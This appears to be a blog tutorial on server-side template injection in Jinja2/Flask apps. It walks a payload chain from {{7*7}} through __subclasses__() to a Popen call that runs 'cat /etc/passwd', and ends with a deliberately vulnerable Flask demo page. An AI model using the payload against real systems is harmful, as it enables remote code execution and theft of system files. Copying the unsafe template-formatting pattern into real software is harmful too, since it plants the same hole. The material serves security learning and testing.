Imagine having the power to craft stunning dynamic web pages effortlessly. Sounds amazing, right? But hold on! With great power comes great responsibility, especially when it comes to securing your applications.
Jinja2 is a widely used template engine for Python web applications. It is highly flexible and provides a powerful way to render templates. However, if user inputs are not validated and escaped correctly, Jinja2 can be susceptible to SSTI attacks.
1. 𝗨𝘀𝗲𝗿 𝗜𝗻𝗽𝘂𝘁 𝗙𝗶𝗲𝗹𝗱𝘀: Any user-supplied input fields, such as textboxes, search bars, or comment sections, are potential entry points.
2. 𝗨𝗥𝗟 𝗣𝗮𝗿𝗮𝗺𝗲𝘁𝗲𝗿𝘀: Parameters passed in the URL query string or as part of the URL path can be exploited by attackers.
3. 𝗛𝗧𝗧𝗣 𝗛𝗲𝗮𝗱𝗲𝗿𝘀: Certain HTTP headers, such as “User-Agent” or “Referer,” may contain user-provided data.
4. 𝗖𝗼𝗼𝗸𝗶𝗲𝘀: Data stored in cookies can also be manipulated by attackers to execute SSTI attacks.
5. 𝗙𝗼𝗿𝗺 𝗗𝗮𝘁𝗮: Form submissions can carry data that might be used in templates.
6. 𝗙𝗶𝗹𝗲 𝗨𝗽𝗹𝗼𝗮𝗱𝘀: If file upload functionality is present and the uploaded files are processed by the template engine, attackers might attempt SSTI.
7. 𝗗𝗮𝘁𝗮𝗯𝗮𝘀𝗲 𝗤𝘂𝗲𝗿𝗶𝗲𝘀: In some cases, templates may include dynamic data retrieved from a database.
When testing a Python app you inputed some math expression (e.g. {{7*7}}), and got it calculated (49), try to get an RCE!
In a Flask application, even within a sandboxed environment, global objects are accessible. Some valuable objects include:
Reaching the base class object helps in recovering application-defined classes. By using __class__, the class object can be retrieved:
{{ [].__class__ }} yields <class ‘list’>.
By using __base__ you can go to the base class.
{{ [].__class__.__base__ }}. This will allow to get the <class ‘object’>
Now, listing subclasses using __subclasses__():
{{ [].__class__.__base__.__subclasses__() }}.
Picking a specific object involves specifying its index in the list:
{{ [].__class__.__base__.__subclasses__()[422] }} returns <class ‘Subprocess.Popen’>.
Further actions, like executing a command (e.g., “cat /etc/passwd”), can be performed as you usually do with “popen” in Python.
{{ [].__class__.__base__.__subclasses__()[422](‘cat /etc/passwd’,shell=True,stdout=-1).communicate()[0].strip() }}.
P.S. If you want to play around, here is source for a page I used to prepare the screenshots. Save it and run with Python3.
from flask import Flask, request, render_template_stringapp = Flask(__name__)
template_base = '''
<!DOCTYPE html>
<html>
<head>
<title>SSTI</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
margin: 0;
padding: 20px;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
max-width: 600px;
background-color: #fff;
border-radius: 8px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
padding: 40px;
}
h1 {
text-align: center;
color: #007bff;
}
p {
color: #666;
}
code {
display: block;
background-color: #f7f7f7;
padding: 10px;
border-radius: 4px;
margin: 10px 0;
font-family: "Courier New", monospace;
}
</style>
</head>
<body>
<div class="container">
<h1>Vulnerable to SSTI!</h1>
<form method="GET" action="/">
<input type="text" name="c" placeholder="Enter your content here" value="">
<button type="submit">Submit</button>
</form>
<div>
<h2>Your Content: </h2>
<code>%s</code>
</div>
</div>
</body>
</html>'''
@app.route("/")
def home():
if request.args.get('c'):
content = request.args.get('c')
else:
content = "Hello"
#That is very insecure
template = template_base % content
return render_template_string(template)
if __name__ == "__main__":
app.config['SECRET_KEY'] = 'VERY_SECRET_KEY123'
app.run('0.0.0.0',port=5050)